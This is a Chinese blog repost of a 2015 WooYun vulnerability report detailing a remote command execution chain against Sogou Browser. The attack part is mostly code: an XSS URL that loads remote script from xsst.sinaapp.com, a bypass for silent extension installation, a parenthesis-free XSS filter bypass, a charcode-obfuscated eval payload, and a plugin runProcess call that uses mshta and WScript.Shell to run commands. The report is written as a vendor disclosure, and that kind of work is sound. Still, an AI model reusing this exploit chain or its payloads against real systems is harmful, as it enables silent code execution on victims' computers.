记录黑客技术中优秀的内容,传播黑客文化,分享黑客技术精华

搜狗浏览器远程命令执行之五

2015-05-16 20:25

首先列举出一些没有被补好的问题。



1. WooYun: 搜狗浏览器远程命令执行之四 中利用了external.extension("installExtFromSidebarBox", ...");



搜狗对此进行了修复,限制了 external.extension("installExtFromSidebarBox", ... ) 只能在se://sidebarextmanager/index.html 这个域下使用。



这个修复确实不错,但是存在以下绕过方式:



window.open("se://sidebarextmanager/index.html").external.extension("installExtFromSidebarBox", ....);



虽然打开的新窗口是 “空白页”,但是返回的window.external 却具有了 se://sidebarextmanager/index.html 页面中 external的执行权限。



这样一来,我们又可以静默安装任何侧边栏插件。



2. WooYun: 搜狗浏览器远程命令执行之四 中的跨协议没有被修复。



即,利用链接点击的方式依然可以跳转至se-extension协议下:



code 区域
var f=document.createElement("a");f.target="_blank";f.href="se-extension://ext740107210/html/balloon.html";document.body.appendChild(f);f.click();





3. WooYun: 搜狗浏览器远程命令执行之四 中使用了com.sogou.cxj009.PicViewer这个插件的XSS,开发人员对此进行了修复,过滤了来自 title的数据中的(,替换成了(。



3.png





显然这种过滤方式过于随意,可以轻松绕过。



例如下文报告中用到的:



code 区域
<img src onerror=outerHTML=URL>





不需要用到括号,这里应该是转义 <, > ,而不是过滤 (。



因此这个XSS可以继续被利用。



4. WooYun: 治标不治本:搜狗浏览器继续远程执行任意命令 中所提到的利用window.open来进行跨插件调用 npapi接口的方法依然没有被改进,因此我们可以利用com.sogou.cxj009.PicViewer这个插件的XSS来跨插件调用其他插件所提供的API接口



5. 插件“发送到手机”(com.sogou.feichuan)更新到了1.0.0.24,相比1.0.0.23,其引入了一个新的dll文件。并且该文件提供了新的api可以导致任意命令执行。



<embed id="fcEmbed" type="application/sogou-computerinfo-plugin" style="width:0;height: 0;visibility: hidden" />



code 区域
document.getElementById("fcEmbed").runProcess("C:/windows/system32/mshta.exe javascript:(new/**/ActiveXObject('WScript.Shell').run('calc.exe'));window.moveTo(-1000,-1000);window.close();")





新增的dll文件



5.png





参考前面的漏洞,插件更新时,应该考量这些API被滥用的可能性,应该对这些API的参数进行一定的判断。



-----------------------------------------------

以下是漏洞报告

-----------------------------------------------





1. 首先还是需要一个sogou.com的XSS



http://v.sogou.com/vc/play/redirect.jsp?url=http://live.wasu.cn/show/id/480%22};alert(1);a={%22a%22:%22&type=zhibo_vr&tvstation=%C7%E0%BA%A3%CE%C0%CA%D3



利用该xss调用 //xsst.sinaapp.com/poc/sogou5.js



http://v.sogou.com/vc/play/redirect.jsp?url=http://live.wasu.cn/show/id/480%22};if(!window._x){window._x=1;var s=document.createElement('script');s.src='//xsst.sinaapp.com/poc/sogou5.js?'%2bMath.random();document.body.appendChild(s);};a={%22a%22:%22&type=zhibo_vr&tvstation=%C7%E0%BA%A3%CE%C0%CA%D3



2. 使用window.open打开se://sidebarextmanager/index.html所返回的external对象,即可成功调用installExtFromSidebarBox



window.open("se://sidebarextmanager/index.html").external.extension("installExtFromSidebarBox", "com.sogou.movie", "1.0.0.6", "", '-1', '', '电影', "alert('OK')");



3. 根据 WooYun: 搜狗浏览器远程命令执行之四 中的方法,安装 com.sogou.cxj009.PicViewer,安装成功后,调用//xsst.sinaapp.com/poc/sogou5.1.js进行下一步:



window.open("se://sidebarextmanager/index.html").external.extension("installExtFromSidebarBox", "com.sogou.cxj009.PicViewer", "1.0.0.6", "", '-1', '', '电影', "function(){location.href=\"http://v.sogou.com/vc/play/redirect.jsp?url=http://live.wasu.cn/show/id/480%22};if(!window._x){window._x=1;var s=document.createElement('script');s.src='//xsst.sinaapp.com/poc/sogou5.1.js?'%2bMath.random();document.body.appendChild(s);};a={%22a%22:%22&type=zhibo_vr&tvstation=%C7%E0%BA%A3%CE%C0%CA%D3\";}");



4. 要进行执行命令,我们发现 最新版本的 “发送到手机”插件中新增了一个dll,



<embed id="fcEmbed" type="application/sogou-computerinfo-plugin" style="width:0;height: 0;visibility: hidden" />



并且该dll提供了执行命令的接口,



document.getElementById("fcEmbed").runProcess("C:/windows/system32/mshta.exe javascript:(new/**/ActiveXObject('WScript.Shell').run('calc.exe'));window.moveTo(-1000,-1000);window.close();")



所以我们结合 WooYun: 治标不治本:搜狗浏览器继续远程执行任意命令 提到的利用技巧,不难COPY出以下利用代码,



window.w=window.open("se-extension://ext15485894/background.html");



function load(){



if(window.w&&window.w.document.getElementById("fcEmbed")){



clearTimeout(window.xx);



window.w.document.getElementById("fcEmbed").runProcess("C:/windows/system32/mshta.exe javascript:(new/**/ActiveXObject('WScript.Shell').run('calc.exe'));window.moveTo(-1000,-1000);window.close();")



}



};



window.xx=setInterval(function(){load();},100);



5. 最终我们可以将//xsst.sinaapp.com/poc/sogou5.1.js修改为以下代码:





document.title="<img src onerror=outerHTML=URL>";

var f=document.createElement("a");f.target="_blank";f.href="se-extension://ext-1588466412/v.html#<img src onerror=eval(String.fromCharCode(119,105,110,100,111,119,46,119,61,119,105,110,100,111,119,46,111,112,101,110,40,34,115,101,45,101,120,116,101,110,115,105,111,110,58,47,47,101,120,116,49,53,52,56,53,56,57,52,47,98,97,99,107,103,114,111,117,110,100,46,104,116,109,108,34,41,59,13,13,102,117,110,99,116,105,111,110,32,108,111,97,100,40,41,123,13,13,9,105,102,40,119,105,110,100,111,119,46,119,38,38,119,105,110,100,111,119,46,119,46,100,111,99,117,109,101,110,116,46,103,101,116,69,108,101,109,101,110,116,66,121,73,100,40,34,102,99,69,109,98,101,100,34,41,41,123,13,13,9,9,99,108,101,97,114,84,105,109,101,111,117,116,40,119,105,110,100,111,119,46,120,120,41,59,13,13,9,9,119,105,110,100,111,119,46,119,46,100,111,99,117,109,101,110,116,46,103,101,116,69,108,101,109,101,110,116,66,121,73,100,40,34,102,99,69,109,98,101,100,34,41,46,114,117,110,80,114,111,99,101,115,115,40,34,67,58,47,119,105,110,100,111,119,115,47,115,121,115,116,101,109,51,50,47,109,115,104,116,97,46,101,120,101,32,106,97,118,97,115,99,114,105,112,116,58,40,110,101,119,47,42,42,47,65,99,116,105,118,101,88,79,98,106,101,99,116,40,39,87,83,99,114,105,112,116,46,83,104,101,108,108,39,41,46,114,117,110,40,39,99,97,108,99,46,101,120,101,39,41,41,59,119,105,110,100,111,119,46,109,111,118,101,84,111,40,45,49,48,48,48,44,45,49,48,48,48,41,59,119,105,110,100,111,119,46,99,108,111,115,101,40,41,59,34,41,13,13,9,125,13,13,125,59,13,13,119,105,110,100,111,119,46,120,120,61,115,101,116,73,110,116,101,114,118,97,108,40,102,117,110,99,116,105,111,110,40,41,123,108,111,97,100,40,41,59,125,44,49,48,48,41,59))>";document.body.appendChild(f);f.click();





6. 最终构造好的利用代码:



http://xsst.sinaapp.com/poc/sogou_combine.htm



效果如下:



4.png

漏洞证明:

win7 下



访问:http://xsst.sinaapp.com/poc/sogou_combine.htm





等待一会,打开了多个页面后,效果如下(开启或关闭UAC均可),指定命令被执行:



4.png

修复方案:

首先列举出一些没有被补好的问题。



1. WooYun: 搜狗浏览器远程命令执行之四 中利用了external.extension("installExtFromSidebarBox", ...");



搜狗对此进行了修复,限制了 external.extension("installExtFromSidebarBox", ... ) 只能在se://sidebarextmanager/index.html 这个域下使用。



这个修复确实不错,但是存在以下绕过方式:



window.open("se://sidebarextmanager/index.html").external.extension("installExtFromSidebarBox", ....);



虽然打开的新窗口是 “空白页”,但是返回的window.external 却具有了 se://sidebarextmanager/index.html 页面中 external的执行权限。



这样一来,我们又可以静默安装任何侧边栏插件。



2. WooYun: 搜狗浏览器远程命令执行之四 中的跨协议没有被修复。



即,利用链接点击的方式依然可以跳转至se-extension协议下:



code 区域
var f=document.createElement("a");f.target="_blank";f.href="se-extension://ext740107210/html/balloon.html";document.body.appendChild(f);f.click();





3. WooYun: 搜狗浏览器远程命令执行之四 中使用了com.sogou.cxj009.PicViewer这个插件的XSS,开发人员对此进行了修复,过滤了来自 title的数据中的(,替换成了(。



3.png





显然这种过滤方式过于随意,可以轻松绕过。



例如下文报告中用到的:



code 区域
<img src onerror=outerHTML=URL>





不需要用到括号,这里应该是转义 <, > ,而不是过滤 (。



因此这个XSS可以继续被利用。



4. WooYun: 治标不治本:搜狗浏览器继续远程执行任意命令 中所提到的利用window.open来进行跨插件调用 npapi接口的方法依然没有被改进,因此我们可以利用com.sogou.cxj009.PicViewer这个插件的XSS来跨插件调用其他插件所提供的API接口



5. 插件“发送到手机”(com.sogou.feichuan)更新到了1.0.0.24,相比1.0.0.23,其引入了一个新的dll文件。并且该文件提供了新的api可以导致任意命令执行。



<embed id="fcEmbed" type="application/sogou-computerinfo-plugin" style="width:0;height: 0;visibility: hidden" />



code 区域
document.getElementById("fcEmbed").runProcess("C:/windows/system32/mshta.exe javascript:(new/**/ActiveXObject('WScript.Shell').run('calc.exe'));window.moveTo(-1000,-1000);window.close();")





新增的dll文件



5.png





参考前面的漏洞,插件更新时,应该考量这些API被滥用的可能性,应该对这些API的参数进行一定的判断。


知识来源: www.wooyun.org/bugs/wooyun-2015-097380

阅读:173098 | 评论:0 | 标签:无

想收藏或者和大家分享这篇好文章→复制链接地址

“搜狗浏览器远程命令执行之五”共有0条留言

发表评论

姓名:

邮箱:

网址:

验证码:

公告

❤人人都能成为掌握黑客技术的英雄⛄️

ADS

标签云